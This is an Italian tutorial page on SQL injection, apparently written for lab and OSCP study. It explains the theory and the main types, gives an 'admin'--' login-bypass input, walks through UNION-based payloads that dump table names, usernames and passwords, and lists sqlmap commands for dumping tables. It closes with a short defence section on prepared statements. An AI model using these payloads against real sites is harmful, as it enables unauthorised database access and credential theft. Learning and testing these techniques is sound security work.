Home › Web Hacking › SQL Injection

SQL Injection (SQLi)

Iniettare comandi SQL dentro i campi di un sito per leggere/modificare il database. Una delle falle più gravi e diffuse.

Teoria: perché succede

Un sito costruisce query SQL mettendo dentro l'input dell'utente. Se non lo "pulisce", il tuo input diventa codice. Esempio di login vulnerabile:

# il codice server (PHP) fa una cosa del genere:
query = "SELECT * FROM users WHERE user='$user' AND pass='$pass'"

Se nel campo user scrivi admin'--, la query diventa:

SELECT * FROM users WHERE user='admin'--' AND pass='...'

Il -- commenta il resto: il controllo password sparisce → entri come admin. Questo è un bypass di autenticazione.

Tipi di SQLi

  • In-band / UNION based: i risultati tornano direttamente nella pagina. Il più comodo.
  • Blind (boolean/time based): la pagina non mostra dati, ma reagisce diversamente a vero/falso (o ci mette più tempo). Estrai i dati un bit alla volta.
  • Error based: il DB stampa errori che rivelano dati.

Passo 1 — trovare l'iniezione

Metti un apice nel parametro e guarda se il sito va in errore:

http://sito/prodotto.php?id=1'      # errore SQL = probabile SQLi
http://sito/prodotto.php?id=1 AND 1=1  # pagina normale (vero)
http://sito/prodotto.php?id=1 AND 1=2  # pagina diversa/vuota (falso) → confermato

Passo 2 — UNION based (estrarre dati)

# a) trova il numero di colonne (aumenta finché non dà errore)
?id=1 ORDER BY 1-- -
?id=1 ORDER BY 2-- -
?id=1 ORDER BY 3-- -   # errore su 3 → ci sono 2 colonne

# b) trova quali colonne vengono stampate
?id=0 UNION SELECT 1,2-- -

# c) estrai info: versione DB e database corrente
?id=0 UNION SELECT version(),database()-- -

# d) nomi delle tabelle
?id=0 UNION SELECT table_name,2 FROM information_schema.tables-- -

# e) colonne della tabella "users"
?id=0 UNION SELECT column_name,2 FROM information_schema.columns WHERE table_name='users'-- -

# f) dump di username e password
?id=0 UNION SELECT username,password FROM users-- -

Passo 3 — automatizzare con sqlmap

Quando l'hai capito a mano, sqlmap fa il lavoro pesante:

# testa il parametro id
sqlmap -u "http://sito/prodotto.php?id=1" --batch
# elenca i database
sqlmap -u "http://sito/prodotto.php?id=1" --dbs
# dump di una tabella
sqlmap -u "http://sito/prodotto.php?id=1" -D nomedb -T users --dump
# richiesta POST/login: salva la richiesta da Burp e passala così
sqlmap -r richiesta.txt --batch --dump
Capisci prima la SQLi a mano, poi usa sqlmap. Nei lab e in esami (OSCP) sqlmap a volte è vietato: devi saperla fare manualmente.

Difesa

  • Prepared statements / query parametrizzate: separano codice e dati. È LA soluzione.
  • ORM affidabili, input validation, principio del minimo privilegio sull'utente DB.
  • Mai fidarsi dell'input utente; niente messaggi d'errore SQL in produzione.
Sui tuoi libri: SQL Injection Attacks and Defense (Clarke) — il testo definitivo; The Web Application Hacker's Handbook cap. SQLi; Modern Web Penetration Testing. Vedi Risorse.